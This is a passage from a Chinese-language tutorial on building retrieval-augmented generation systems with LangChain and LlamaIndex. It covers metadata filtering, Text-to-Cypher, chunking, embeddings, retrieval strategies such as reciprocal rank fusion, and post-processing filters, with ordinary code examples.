    where={"metadata_field": "is_equal_to_this"},
    where_document={"$contains":"search_string"}
)

Chroma 不仅支持 query_texts 参数实现语义检索,还支持 where 参数实现类似 SQL 的结构化过滤,为了生成这样的查询语法,我们可以使用 LangChain 提供的 自查询检索器(Self Query Retriever)

document_content_description = "Brief summary of a movie"
metadata_field_info = [
    AttributeInfo(name="genre", description="The genre of the movie", type="string or list[string]"),
    AttributeInfo(name="year", description="The year the movie was released", type="integer" ),
    AttributeInfo(name="director", description="The name of the movie director", type="string" ),
    AttributeInfo(name="rating", description="A 1-10 rating for the movie", type="float"),
]

retriever = SelfQueryRetriever.from_llm(
    llm, vectorstore, document_content_description, metadata_field_info, verbose=True
)
response = retriever.invoke("What are some movies about dinosaurs")

首先我们对整个文档以及文档包含的元数据字段做一个大致的描述,然后通过 SelfQueryRetriever.from_llm() 构造自查询检索器,检索器可以对自然语言问题进行解释,将问题转换成用于语义检索的查询语句(被称为 Query)和用于元数据过滤的过滤器语法(被称为 Filters),由于 LangChain 集成了大量的向量数据库,每个向量数据库的过滤器语法都可能不一样,所以 LangChain 设计了一套中间语法,让大模型根据这套语法规则生成过滤器语句,然后通过 StructuredQueryOutputParser 将过滤器语句解析为 StructuredQuery 对象(使用 lark-parser 实现),再由各个向量数据库的 structured_query_translator 将其转换为各自的查询语法。

如果对这套中间语法感兴趣,可以使用 get_query_constructor_prompt() 查看 SelfQueryRetriever 内置的 Prompt:

from langchain.chains.query_constructor.base import get_query_constructor_prompt

prompt = get_query_constructor_prompt(document_content_description, metadata_field_info)
print(prompt.format(query="dummy question"))

通过这个 Prompt 我们可以手动构造 StructuredQuery 对象:

from langchain.chains.query_constructor.base import StructuredQueryOutputParser

output_parser = StructuredQueryOutputParser.from_components()
query_constructor = prompt | llm | output_parser

response = query_constructor.invoke({
 "query": "Songs by Taylor Swift or Katy Perry about teenage romance under 3 minutes long in the dance pop genre"
})

生成的过滤器语法类似于下面这样:

and(
    or(
        eq("artist", "Taylor Swift"), 
        eq("artist", "Katy Perry")
    ), 
    lt("length", 180), 
    eq("genre", "pop")
)

具体内容可以 参考这里,除此之外,Building hotel room search with self-querying retrieval 这篇教程使用自查询检索器实现了酒店数据的问答,感兴趣的同学可以一并参考。

同样,在 LlamaIndex 中也支持对向量数据库进行元数据过滤,这个功能被叫做 Auto-Retrieval,并抽象成 VectorIndexAutoRetriever 类,同时,LlamaIndex 也对不少的向量数据库做了集成,比如 PineconeChromaElasticsearchVectaraLanternBagelDB 等。

下面是 VectorIndexAutoRetriever 的使用示例,和 SelfQueryRetriever 很像:

from llama_index.core.vector_stores.types import MetadataInfo, VectorStoreInfo
from llama_index.core.retrievers import VectorIndexAutoRetriever

vector_store_info = VectorStoreInfo(
    content_info="brief biography of celebrities",
    metadata_info=[
        MetadataInfo(name="category", type="str", description="Category of the celebrity, one of [Sports, Entertainment, Business, Music]"),
        MetadataInfo(name="country", type="str", description="Country of the celebrity, one of [United States, Barbados, Portugal]"),
    ],
)

retriever = VectorIndexAutoRetriever(
    index, vector_store_info=vector_store_info
)

response = retriever.retrieve("Tell me about Sports celebrities from United States")

和 Text-to-SQL 一样,元数据过滤也面临着大模型生成的过滤条件可能和库中的元数据无法完全匹配的问题,比如:库中的字段是大写,而用户的输入是小写,库中的字段是全称,而用户的输入是简称,这时我们也可以借鉴 Text-to-SQL 中的优化手段,比如自定义 Prompt 或 根据用户输入动态选择样本,这里 是 LlamaIndex 的示例。此外,LlamaIndex 官网还有一篇使用元数据过滤实现 多文档检索(或者叫结构化分层检索)) 的示例。

Text-to-Cypher

向量数据库可以轻松处理非结构化数据,但它们无法理解向量之间的关系;SQL 数据库可以建模表之间的关系,但是却不擅长建模数据之间的关系,特别是多对多关系或难以在表格形式中表示的层次结构的数据;图数据库可以通过建模数据之间的关系并扩展关系类型来解决这些挑战。

和 SQL 一样,Cypher) 是一种对图数据库进行查询的结构化查询语言。LangChain 中提供的 GraphCypherQAChain 让我们可以方便地将自然语言翻译成 Cypher 语言,从而实现基于图数据库的问答:

from langchain_openai import ChatOpenAI
from langchain.chains import GraphCypherQAChain

chain = GraphCypherQAChain.from_llm(
    ChatOpenAI(temperature=0), graph=graph, verbose=True
)
response = chain.invoke({"query": "Who played in Top Gun?"})

值得注意的是,Cypher 是最流行的图数据库查询语言之一,可以用在很多不同的图数据库中,比如 Neo4jAmazon Neptune 等等,但是还有很多图数据库使用了其他的查询语言,比如 Nebula Graph 使用的是 nGQL,HugeGraph 使用的是 Gremlin 等等,我们在编写 Prompt 的时候也要稍加区别。

和 LangChain 一样,LlamaIndex 也支持图数据库的问答,我们可以使用 KnowledgeGraphRAGRetriever 来实现,它的用法如下:

from llama_index.core.query_engine import RetrieverQueryEngine
from llama_index.core.retrievers import KnowledgeGraphRAGRetriever
graph_rag_retriever = KnowledgeGraphRAGRetriever(storage_context=storage_context, verbose=True)
query_engine = RetrieverQueryEngine.from_args(
    graph_rag_retriever,
)

不过要注意的是,这里对图数据库的查询实现和 LangChain 是不同的,KnowledgeGraphRAGRetriever 通过从用户问题中提取相关 实体(Entity),然后在图数据库中查询和这些实体有关联的子图(默认深度为 2,查询的模式可以是 embedding 或 keyword),从而构建出上下文,大模型基于查询出的子图来回答用户问题,所以这也被称为 (Sub)Graph RAG

LlamaIndex 也支持 Text-to-Cypher 方式基于用户问题生成图查询语句,我们可以使用 KnowledgeGraphQueryEngine 来实现:

from llama_index.core.query_engine import KnowledgeGraphQueryEngine
query_engine = KnowledgeGraphQueryEngine(
    storage_context=storage_context,
    llm=llm,
    graph_query_synthesis_prompt=graph_query_synthesis_prompt,
    verbose=True,
)

不过当前的版本(0.10.25)支持得还不是很好,用户必须编写出合适的 Prompt 来能生成正确的 Cypher 语句。

LlamaIndex 也集成了不同的图数据库,比如 Neo4j Graph StoreNebula Graph Store

索引(Indexing)

上面三步都是关于检索的,包括从哪里检索以及如何检索。第四个要考虑的问题是怎么存储我的数据?怎么设计我的索引?通过上面的学习我们知道,可以将数据存储到向量数据库、SQL 数据库或者图数据库中,针对这些不同的存储方式,我们又可以使用不同的索引策略。

构建向量索引

构建向量索引是打造 RAG 系统中的关键步骤之一。在上面的 LlamaIndex 实战一节,我们使用 VectorStoreIndex 快速将文档构建成向量索引:

from llama_index.core import VectorStoreIndex
index = VectorStoreIndex.from_documents(documents)

默认情况下 VectorStoreIndex 将向量保存到内存中,可以通过 StorageContext 指定 Vector Store 将向量保存到向量数据库中,LlamaIndex 集成了大量的 Vector Store 实现,比如下面是集成 Chroma 的示例:

import chromadb
chroma_client = chromadb.EphemeralClient()
chroma_collection = chroma_client.create_collection("quickstart")

from llama_index.core import StorageContext
from llama_index.vector_stores.chroma import ChromaVectorStore
storage_context = StorageContext.from_defaults(
    vector_store=ChromaVectorStore(chroma_collection=chroma_collection)
)

from llama_index.core import VectorStoreIndex
index = VectorStoreIndex.from_documents(
    documents, storage_context=storage_context
)

很多向量数据库还支持元数据功能,我们可以将元数据与向量一起存储,然后使用元数据过滤器搜索某些日期或来源的信息,这在上面的 Text-to-metadata filters 一节中已经介绍过,此处略过。

LangChain 中没有 Index 和 StorageContext 概念,只有 Vector Store 的概念,所以 LangChain 构建向量索引的步骤看上去要精简的多:

from langchain_chroma import Chroma
db = Chroma.from_documents(documents, OpenAIEmbeddings())

构建向量索引有两个绕不开的话题,分块(Chunking)和嵌入(Embedding),下面将分节介绍。

分块策略(Chunking)

几乎所有的大模型或嵌入模型,输入长度都是受限的,因此,你需要将文档进行分块,通过分块不仅可以确保我们嵌入的内容尽可能少地包含噪音,同时保证嵌入内容和用户查询之间具有更高的语义相关性。有很多种不同的分块策略,比如你可以按长度进行分割,保证每个分块大小适中,你也可以按句子或段落进行分割,防止将完整的句子切成两半。每种分块策略可能适用于不同的情况,我们要仔细斟酌这些策略的优点和缺点,确定他们的适用场景,这篇博客 对常见的分块策略做了一个总结。

文档分块是索引构建中的关键步骤,无论是 LangChain 还是 LlamaIndex 都提供了大量的文档分块的方法,可以参考 LangChain 的 Text SplittersLlamaIndex 的 Node Parser 或 Text Splitters 文档。

固定大小分块(Fixed-size chunking)

这是最常见也是最直接的分块策略,文档被分割成固定大小的分块,分块之间可以保留一些重叠,以确保不会出现语义相关的内容被不自然地拆分的情况。在大多数情况下,固定大小分块都是最佳选择,与其他形式的分块相比,它既廉价又简单易用,而且不需要使用任何自然语言处理库。

分块大小是一个需要深思熟虑的参数,它取决于你所使用的嵌入模型的 token 容量,比如,基于 BERT 的 sentence-transformer 最多只能处理 512 个 token,而 OpenAI 的 ada-002 能够处理 8191 个;另外这里也需要权衡大模型的 token 限制,由于分块大小直接决定了我们加载到大模型上下文窗口中的信息量,这篇博客 中对不同的分块大小进行了实验,可以看到不同的分块大小可以得到不同的性能表现。

在 LangChain 中,我们可以使用 CharacterTextSplitterRecursiveCharacterTextSplitter 实现固定大小分块:

from langchain.text_splitter import CharacterTextSplitter
text_splitter = CharacterTextSplitter(
    separator = "\n\n",
    chunk_size = 256,
    chunk_overlap  = 20
)
docs = text_splitter.create_documents([text])

可以看到,分块参数中除了分块大小(chunk_size)和分块间的重叠(chunk_overlap)两个配置之外,还有一个分隔符(separator)参数,CharacterTextSplitter 首先会按照分隔符进行分割,再对分割后的内容按大小分割,默认的分隔符是 \n\n,这样可以保证不同的段落会被划分到不同的分块里,提高分块的效果。

RecursiveCharacterTextSplitter 被称为 递归分块(Recursive chunking),和 CharacterTextSplitter 的区别是它可以接受一组分隔符,比如 ["\n\n", "\n", " ", ""],它首先使用第一个分隔符对文本进行分块,如果第一次分块后长度仍然超出分块大小,则使用第二个,以此类推,通过这种递归迭代的过程,直到达到所需的块大小。

LlamaIndex 中的 TokenTextSplitterSentenceSplitter 实现类似的功能,不过它没有递归分块的功能,只是简单的将分隔符分成单词间分隔符和段落间分隔符两个参数:

from llama_index.core.node_parser import SentenceSplitter
node_parser = SentenceSplitter(
    separator=" ",
    paragraph_separator="\n\n",
    chunk_size=512, 
    chunk_overlap=0
)
nodes = node_parser.get_nodes_from_documents(docs, show_progress=False)

此外,使用固定大小分块时有一点要注意的是,大模型的上下文限制是 token 数量,而不是文本长度,因此当我们将文本分成块时,建议计算分块的 token 数量,比如使用 OpenAI 的 tiktoken 库。LangChain 中可以使用 TokenTextSplitterCharacterTextSplitter.from_tiktoken_encoder() 来保证分块大小不超过 token 限制:

text_splitter = CharacterTextSplitter.from_tiktoken_encoder(
    encoding="cl100k_base", chunk_size=100, chunk_overlap=0
)
texts = text_splitter.split_text(state_of_the_union)
句子拆分(Sentence splitting)

很多模型都针对句子级内容的嵌入进行了优化,所以,如果我们能将文本按句子拆分,可以得到很好的嵌入效果。常见的句子拆分方法有下面几种:

  • 直接按英文句号(.)、中文句号()或换行符等进行分割

这种方法快速简单,但这种方法不会考虑所有可能的边缘情况,可能会破坏句子的完整性。使用上面所介绍的 CharacterTextSplitterTokenTextSplitter 就可以实现。

NLTK 是一个流行的自然语言工具包,它提供了一个句子分词器(sentence tokenizer),可以将文本分割成句子,有助于创建更有意义的块。LangChain 中的 NLTKTextSplitter 就是基于 NLTK 实现的。

另外,LlamaIndex 中的 SentenceSplitterSentenceWindowNodeParser 也可以实现句子拆分,默认也是基于 NLTK 实现的。

spaCy 是另一个强大的用于自然语言处理任务的 Python 库,它提供了复杂的句子分割功能,可以高效地将文本分割成单独的句子,从而在生成的块中更好地保留上下文。LangChain 中的 SpacyTextSplitter 就是基于 spaCy 实现的。

LangChain 的 Split by tokens 这篇文档还介绍了一些其他方法可供参考。

特定格式分块(Specialized chunking)

有很多文本文件具有特定的结构化内容,比如 Markdown、LaTeX、HTML 或 各种源码文件等,针对这种格式的内容可以使用一些专门的分块方法。

  • Markdown 格式

Markdown 是一种轻量级标记语言,通常用于格式化文本,通过识别 Markdown 语法(例如标题、列表和代码块),可以根据其结构和层次智能地划分内容,从而产生更具语义一致性的块。LangChain 的 MarkdownHeaderTextSplitter 就是基于这一想法实现的分块方法,它通过 Markdown 的标题来组织分组,然后再在特定标题组中创建分块。

LlamaIndex 的 MarkdownNodeParserMarkdownElementNodeParser 提供了更精细化的分块,可以实现代码块或表格等元素的抽取。

  • HTML 格式

HTML 是另一种流行的标记语言,我们也可以根据 HTML 中的特殊标记(例如 <h1><h2><table> 等)对其进行分块,和 MarkdownHeaderTextSplitter 类似,LangChain 中的 HTMLHeaderTextSplitter 根据标题来实现 HTML 的分块,HTMLSectionSplitter 能够在元素级别上分割文本,它基于指定的标签和字体大小进行分割,将具有相同元数据的元素组合在一起,以便将相关文本语义地分组,并在文档结构中保留丰富的上下文信息。

LlamaIndex 的 HTMLNodeParser 使用 Beautiful Soup 解析 HTML,它使用一些预定义的标签来对 HTML 进行分块。

  • LaTeX 格式

LaTeX 是一种常用于学术论文和技术文档的文档准备系统和标记语言,通过解析 LaTeX 可以创建符合内容逻辑组织的块(例如章节、子章节和方程式),从而产生更准确和上下文相关的结果。LangChain 的 LatexTextSplitter 实现了 LaTex 格式的分块。

  • JSON 格式

JSON 格式的分块需要考虑嵌套的 JSON 对象的完整性,通常按照深度优先的方式遍历 JSON 对象,并构建出较小的 JSON 块,参考 LangChain 的 RecursiveJsonSplitter 和 LlamaIndex 的 JSONNodeParser

  • 其他代码格式

除了上面所说的 Markdown、HTML、JSON 等结构化文本,还有很多代码格式的文件,不同的编程语言拥有不同的关键字和语法,分块方式也略有区别。LangChain 为每种编程语言预定义了对应的分隔符,我们可以直接使用 RecursiveCharacterTextSplitter.from_language() 为特定语言创建文本分割器:

python_splitter = RecursiveCharacterTextSplitter.from_language(
    language=Language.PYTHON, chunk_size=50, chunk_overlap=0
)
python_docs = python_splitter.create_documents([PYTHON_CODE])

SweepAI 的 Kevin Lu 提出了一种更加优雅的代码拆分解决方案,使用 AST 对代码语法进行解析,LlamaIndex 的 CodeSplitter 就是基于这种方案实现的。

语义分块(Semantic chunking)

这是一种实验性地分块技术,最初由 Greg Kamradt 提出,它在 The 5 Levels Of Text Splitting For Retrieval 这个视频中将分块技术划分为 5 个等级,其中 语义分块(Semantic chunking) 是第 4 级。它的基本原理如下:

  • 首先将文本划分成一个个句子,并计算第一个句子的向量;
  • 接着计算第二个句子的向量,并和第一个句子进行比较,得到相似度;
  • 接着计算第三个句子的向量,并和第二个句子进行比较,得到相似度,以此类推;
  • 当句子之间的相似度高于某个阈值时,说明这里的话题可能存在转折,可以将这个地方作为分块的临界点。

这里 是对应的代码实现。

LangChain 的 SemanticChunker 和 LlamaIndex 的 SemanticSplitterNodeParser 都实现了语义分块。

嵌入策略(Embedding)

分块完成后,我们接下来就要为每个分块计算 Embedding 向量,这里有很多嵌入模型可供选择,比如 BAAI 的 bge-large,微软的 multilingual-e5-large,OpenAI 的 text-embedding-3-large 等,可以在 MTEB 排行榜 上了解最新的模型更新情况。

词嵌入技术经历了一个从静态到动态的发展过程,静态嵌入为每个单词使用单一向量,而动态嵌入根据单词的上下文进行调整,可以捕获上下文理解。排行榜上排名靠前的基本上都是动态嵌入模型。

此外,关于嵌入模型的优化,通常围绕着嵌入模型的微调展开,将嵌入模型定制为特定领域的上下文,特别是对于术语不断演化或罕见的领域,可以参考下面的一些教程:

值得一提的是,嵌入不仅仅限于文本,我们还可以创建图像或音频的嵌入,并将其与文本嵌入进行比较,这个概念适用于强大的图像或音频搜索、分类、描述等系统。

构建图谱

在上面的查询构造一节,我们学习了如何实现 Text-to-Cypher,根据用户的问题生成图查询语句,从而实现图数据库的问答。查询构造依赖的是现有的图数据库,如果用户没有图数据库,数据散落在各种非结构化文档中,那么我们在查询之前可能还需要先对文档进行预处理,LlamaIndex 和 LangChain 都提供了相应的方法,让我们可以快速从杂乱的文档中构建出图谱数据。

LlamaIndex 可以通过 KnowledgeGraphIndex 实现:

from llama_index.core import KnowledgeGraphIndex
index = KnowledgeGraphIndex.from_documents(
    documents,
    storage_context=storage_context,
    max_triplets_per_chunk=10,
    space_name=space_name,
    edge_types=edge_types,
    rel_prop_names=rel_prop_names,
    tags=tags,
    include_embeddings=True,
)

KnowledgeGraphIndex 默认使用大模型自动从文档中抽取出实体以及他们之间的关系,也就是所谓的 三元组(Triplet),并将抽取出来的关系存入图数据库中,这个构建的过程可能会很长,构建完成后,就可以通过 index.as_query_engine() 将其转换为 RetrieverQueryEngine 来实现问答:

query_engine = index.as_query_engine(
    include_text=True, response_mode="tree_summarize"
)
response = query_engine.query("Tell me more about Interleaf")

此外,KnowledgeGraphIndex 还提供了一个 kg_triplet_extract_fn 参数,可以让用户自定义抽取三元组的逻辑:

index = KnowledgeGraphIndex.from_documents(
    documents, 
    kg_triplet_extract_fn=extract_triplets, 
    service_context=service_context
)

我们可以结合一些传统 NLP 里的关系抽取模型,比如 REBEL 来实现图谱构建,参考 Rebel + LlamaIndex Knowledge Graph Query EngineKnowledge Graph Construction w/ WikiData Filtering 这两个示例。

其中,documents 也可以设置成一个空数组,这样也可以实现基于现有的图数据库来问答,和 KnowledgeGraphRAGRetriever 的效果一样:

index = KnowledgeGraphIndex.from_documents([], storage_context=storage_context)

LangChain 也提供了一个类似的类 LLMGraphTransformer 来实现图谱构建:

from langchain_experimental.graph_transformers import LLMGraphTransformer

llm_transformer = LLMGraphTransformer(llm=llm)
graph_documents = llm_transformer.convert_to_graph_documents(documents)
graph.add_graph_documents(graph_documents)

其他索引策略

除了上面所介绍的向量索引(VectorStoreIndex)和图谱索引(KnowledgeGraphIndex),LlamaIndex 还提供了一些其他的索引策略,比如 SummaryIndexTreeIndexKeywordTableIndex 等。

在我看来,索引其实就是文档的组织方式,不同的索引代表不同的存储形式或数据结构,比如 VectorStoreIndex 以向量形式存储,KnowledgeGraphIndex 以图谱形式存储,SummaryIndex 以链表形式存储,TreeIndex 以树形式存储,KeywordTableIndex 以倒排索引形式存储。How Each Index Works 这份指南对不同索引的工作原理用图文的方式进行了通俗的讲解。

检索策略(Retrieval)

构建索引的目的是为了更快的检索,无论是 LlamaIndex 还是 LangChain 都提供了大量的 检索器(Retriever)。检索器可以针对单个索引,在 LlamaIndex 中这被称为 索引检索(Index Retrievers),不同的索引又可以有不同的 检索模式;检索器也可以组合不同检索技术,比如上面所学习的查询转换、查询路由、查询构造也都需要配合相应的检索策略来进行,下面还会学习一些其他的检索策略,比如父文档检索、混合检索等。

索引检索(Index Retrievers)

上面学习了很多了索引,从索引中检索是最简单也最基础的检索策略。LlamaIndex 中的所有 Index 都有一个 as_retriever() 方法,方便从索引中快速检索出想要的内容:

retriever = index.as_retreiver()
nodes = retriever.retrieve("<user question>")

在 LlamaIndex 中,不同的 Index 还可以有 不同的检索模式,比如使用 SummaryIndexllm 模式:

retriever = summary_index.as_retriever(
    retriever_mode="llm"
)

LangChain 中的 Vector Store 也有一个 as_retriever() 方法用于检索,这被称为 Vector store-backed retriever

retriever = db.as_retriever()
docs = retriever.invoke("<user question>")

父文档检索(Parent Document Retrieval)

当我们对文档进行分块的时候,我们可能希望每个分块不要太长,因为只有当文本长度合适,嵌入才可以最准确地反映它们的含义,太长的文本嵌入可能会失去意义;但是在将检索内容送往大模型时,我们又希望有足够长的文本,以保留完整的上下文。为了实现二者的平衡,我们可以在检索过程中,首先获取小的分块,然后查找这些小分块的父文档,并返回较大的父文档,这里的父文档指的是小分块的来源文档,可以是整个原始文档,也可以是一个更大的分块。LangChain 提供的 父文档检索器(Parent Document Retriever) 和 LlamaIndex 提供的 自动合并检索器(Auto Merging Retriever) 就是使用了这种策略;这种将嵌入的内容(用于检索)和送往大模型的内容(用于答案生成)分离的做法是索引设计中最简单且最有用的想法之一,它的核心理念是,检索更小的块以获得更好的搜索质量,同时添加周围的上下文以获取更好的推理结果。

除了对文档进行分割获取小块,我们也可以使用大模型对文档进行摘要,然后对摘要进行嵌入和检索,这种方法对处理包含大量冗余细节的文本非常有效,这里的原始文档就相当于摘要的父文档。另一种思路是通过大模型为每个文档生成 假设性问题(Hypothetical Questions),然后对问题进行嵌入和检索,也可以结合问题和原文档一起检索,这种方法提高了搜索质量,因为与原始文档相比,用户查询和假设性问题之间的语义相似性更高。我们可以使用 LlamaIndex 提供的 SummaryExtractorQuestionsAnsweredExtractor 来生成摘要和问题。

下图展示了这三种检索方法和原始检索方法的一个对比:

parent-retrieve.jpeg

这篇文章 中,作者综合使用了 Neo4j 的向量搜索和图搜索能力,对上面三种检索方法进行了实现,可供参考。首先,作者对原始文档依次进行分块、总结和生成假设性问题,并将生成的子文档和父文档存储在 Neo4j 图数据库中:

parent-retrieve-data.png

其中,紫色节点是父文档,长度为 512 个 token,每个父文档都有多个子节点:橙色节点包含将父文档切分成更小的子文档;蓝色节点包含针对父文档生成的假设性问题;红色节点包含父文档的摘要。

然后通过下面的代码对子文档进行检索:

parent_query = """
MATCH (node)<-[:HAS_CHILD]-(parent)
WITH parent, max(score) AS score // deduplicate parents
RETURN parent.text AS text, score, {} AS metadata LIMIT 1
"""

parent_vectorstore = Neo4jVector.from_existing_index(
    OpenAIEmbeddings(),
    index_name="parent_document",
    retrieval_query=parent_query,
)

层级检索(Hierarchical Retrieval)

假设我们有大量的文档需要检索,为了高效地在其中找到相关信息,一种高效的方法是创建两个索引:一个由摘要组成,另一个由文档块组成,然后分两步搜索,首先通过摘要筛选出相关文档,然后再在筛选出的文档中搜索。

hierarchical-retrieval.png

这在 LlamaIndex 中被称为 Hierarchical Retrieval

在上面的父文档检索中我们也举了一个检索摘要的例子,和这里的层级检索很相似,其区别在于父文档检索只检索一次摘要,然后由摘要扩展出原始文档,而层级检索是通过检索摘要筛选出一批文档,然后在筛选出的文档中执行二次检索。

混合检索(Fusion Retrieval)

在上面学习查询扩展策略时,有提到 RAG 融合(RAG Fusion) 技术,它根据用户的原始问题生成意思相似但表述不同的子问题并检索。其实,我们还可以结合不同的检索策略,比如最常见的做法是将基于关键词的老式搜索和基于语义的现代搜索结合起来,基于关键词的搜索又被称为 稀疏检索器(sparse retriever),通常使用 BM25TF-IDF 等传统检索算法,基于语义的搜索又被称为 密集检索器(dense retriever),使用的是现在流行的 embedding 算法。

在 LangChain 中,可以使用 EnsembleRetriever 来实现混合检索,LlamaIndex 中的 QueryFusionRetriever 也能实现类似的功能,Simple Fusion RetrieverReciprocal Rerank Fusion Retriever 是两个基于 QueryFusionRetriever 实现混合检索的示例。

混合检索将两种或多种互补的检索策略结合在一起,通常能得到更好的检索结果,其实现并不复杂,它的关键技巧是如何正确地将不同的检索结果结合起来,这个问题通常是通过 倒数排名融合(Reciprocal Rank Fusion,RRF) 算法来解决的,RRF 算法对检索结果重新进行排序从而获得最终的检索结果。

RRF 是滑铁卢大学和谷歌合作开发的一种算法,它可以将具有不同相关性指标的多个结果集组合成单个结果集,这里是 它的论文地址,其中最关键的部分就是下面这个公式:

rrf-score.png

其中,D 表示文档集,R 是从 1 到 |D| 的排列,k 是一个常量,默认值为 60.

为了对这个公式有个更直观的理解,我们不妨执行下 RAG Fusion 开源的代码,执行结果如下:

Initial individual search result ranks:
For query '1. Effects of climate change on biodiversity': {'doc7': 0.89, 'doc8': 0.79, 'doc5': 0.72}
For query '2. Economic consequences of climate change': {'doc9': 0.85, 'doc7': 0.79}
For query '3. Health impacts of climate change': {'doc1': 0.8, 'doc10': 0.76}
For query '4. Solutions to mitigate the impact of climate change': {'doc7': 0.85, 'doc10': 0.8, 'doc1': 0.74, 'doc9': 0.71}
Updating score for doc7 from 0 to 0.016666666666666666 based on rank 0 in query '1. Effects of climate change on biodiversity'
Updating score for doc8 from 0 to 0.01639344262295082 based on rank 1 in query '1. Effects of climate change on biodiversity'
Updating score for doc5 from 0 to 0.016129032258064516 based on rank 2 in query '1. Effects of climate change on biodiversity'
Updating score for doc9 from 0 to 0.016666666666666666 based on rank 0 in query '2. Economic consequences of climate change'
Updating score for doc7 from 0.016666666666666666 to 0.03306010928961749 based on rank 1 in query '2. Economic consequences of climate change'
Updating score for doc1 from 0 to 0.016666666666666666 based on rank 0 in query '3. Health impacts of climate change'
Updating score for doc10 from 0 to 0.01639344262295082 based on rank 1 in query '3. Health impacts of climate change'
Updating score for doc7 from 0.03306010928961749 to 0.04972677595628415 based on rank 0 in query '4. Solutions to mitigate the impact of climate change'
Updating score for doc10 from 0.01639344262295082 to 0.03278688524590164 based on rank 1 in query '4. Solutions to mitigate the impact of climate change'
Updating score for doc1 from 0.016666666666666666 to 0.03279569892473118 based on rank 2 in query '4. Solutions to mitigate the impact of climate change'
Updating score for doc9 from 0.016666666666666666 to 0.032539682539682535 based on rank 3 in query '4. Solutions to mitigate the impact of climate change'
Final reranked results: {'doc7': 0.04972677595628415, 'doc1': 0.03279569892473118, 'doc10': 0.03278688524590164, 'doc9': 0.032539682539682535, 'doc8': 0.01639344262295082, 'doc5': 0.016129032258064516}
Final output based on ['1. Effects of climate change on biodiversity', '2. Economic consequences of climate change', '3. Health impacts of climate change', '4. Solutions to mitigate the impact of climate change'] and reranked documents: ['doc7', 'doc1', 'doc10', 'doc9', 'doc8', 'doc5']

首先针对原始问题生成四个不同的问题,然后针对不同的问题分别执行检索得到不同的文档排名:

  • 问题 1 检索结果排名:{'doc7': 0.89, 'doc8': 0.79, 'doc5': 0.72}
  • 问题 2 检索结果排名:{'doc9': 0.85, 'doc7': 0.79}
  • 问题 3 检索结果排名:{'doc1': 0.8, 'doc10': 0.76}
  • 问题 4 检索结果排名:{'doc7': 0.85, 'doc10': 0.8, 'doc1': 0.74, 'doc9': 0.71}

可以看到每次检索出来的文档都不一样,就算是相同文档,得分也不一样。为了计算每个文档的最终排名,我们使用 RRF 公式对每个文档计算 RRF 分数,这里以 doc7 为例,该文档一共出现了三次,在问题 1 的检索中排名第一,问题 2 的检索中排名第二,问题 4 的检索中排名第一,所以它的得分计算如下:

RRF7 = 1/(1+60) + 1/(2+60) + 1/(1+60) = 0.049

使用类似的方法计算其他文档的得分,最终得到所有文档的最终排名。

从 RRF 分数的计算中,我们可以看出,RRF 不依赖于每次检索分配的绝对分数,而是依赖于相对排名,这使得它非常适合组合来自可能具有不同分数尺度或分布的查询结果。

值得注意的是,现在有很多数据库都原生支持混合检索了,比如 MilvusQdrantOpenSearchPinecone 等,Elasticsearch 的最新版本中也 支持 RRF 检索。对于这些支持混合检索的数据库,LlamaIndex 提供了一种简单的方式:

query_engine = index.as_query_engine(
    ...,
    vector_store_query_mode="hybrid", 
    alpha=0.5,  # 指定向量搜索和关键字搜索之间的加权
    ...
)

多向量检索(Multi-Vector Retrieval)

对于同一份文档,我们可以有多种嵌入方式,也就是为同一份文档生成几种不同的嵌入向量,这在很多情况下可以提高检索效果,这被称为 多向量检索器(Multi-Vector Retriever)。为同一份文档生成不同的嵌入向量有很多策略可供选择,上面所介绍的父文档检索就是比较典型的方法。

除此之外,当我们处理包含文本和表格的半结构化文档时,多向量检索器也能派上用场,在这种情况下,可以提取每个表格,为表格生成适合检索的摘要,但生成答案时将原始表格送给大模型。有些文档不仅包含文本和表格,还可能包含图片,随着多模态大模型的出现,我们可以为图像生成摘要和嵌入。

LangChain 的 这篇博客 对多向量检索做了一个全面的描述,并提供了大量的示例,用于表格或图片等多模任务的检索:

后处理

这是打造 RAG 系统的最后一个问题,如何将检索出来的信息丢给大模型?检索出来的信息可能过长,或者存在冗余(比如从多个来源进行检索),我们可以在后处理步骤中对其进行压缩、排序、去重等。LangChain 中并没有专门针对后处理的模块,文档也是零散地分布在各个地方,比如 Contextual compressionCohere reranker 等;而 LlamaIndex 对此有一个专门的 Postprocessor 模块,学习起来相对更体系化一点。

过滤策略

当检索结果太多时,与查询相关性最高的信息可能被埋在大量的无关文档中,如果将所有这些文档都传递到大模型,可能导致更昂贵的调用费用,生成的响应也更差。对检索结果进行过滤,是最容易想到的一种后处理方式。LlamaIndex 提供了下面这些过滤策略:

  • SimilarityPostprocessor

为每个检索结果按相似度打分,然后通过设置一个分数阈值进行过滤。

  • KeywordNodePostprocessor

使用 spacy短语匹配器(PhraseMatcher) 对检索结果进行检查,按包含或不包含特定的关键字进行过滤。

使用 nltk.tokenize 对检索出的每一条结果进行分句,然后通过计算每个分句和用户输入的相似性来过滤和输入不相干的句子,有两种过滤方式:threshold_cutoff 是根据相似度阈值来过滤(比如只保留相似度 0.75 以上的句子),percentile_cutoff 是根据百分位阈值来过滤(比如只保留相似度高的前 50% 的句子)。这种后处理方法可以极大地减少 token 的使用。

假设检索结果中有时间字段,我们可以按时间排序,然后取 topK 结果,这种策略对回答一些有关最近信息的问题非常有效。

FixedRecencyPostprocessor 类似,也是根据检索结果中的时间字段排序,只不过它不是取 topK,而是将旧文档和新文档比较,将相似度很高的旧文档过滤掉。

这种策略通过 时间加权(Time Weighted) 的方法对检索结果重新排序,然后再取 topK。每次检索时,对每一条检索结果设置一个最后访问时间,再通过下面的公式重新计算相似度分数:

hours_passed = (now - last_accessed) / 3600
time_similarity = (1 - time_decay) ** hours_passed
similarity = score + time_similarity

其中 hours_passed 指的是自上次访问以来经过的小时数,而 time_decay 是一个 0 到 1 之间的数值,该值由用户配置,值越低,表示记忆将会 “记住” 更长时间,值越高,记忆越容易 “遗忘”。可以看出 hours_passed 越大,time_similarity 就越小,这意味着经常访问的对象可以保持 “新鲜”,对于从没访问过的对象,hours_passed 为 0,这时 time_similarity 最大,这意味着检索更偏向于返回尚未查询过的信息。LangChain 也提供了 Time-weighted vector store retriever 实现相似的功能。

根据 Nelson F. Liu 等人在 Lost in the Middle: How Language Models Use Long Contexts 这篇论文中的研究,当前的大模型并没有充分利用上下文中的信息:当相关信息出现在上下文的开头或结尾时,性能往往最高,而当模型必须在长上下文的中间访问相关信息时,性能会显著下降。

long-context.png

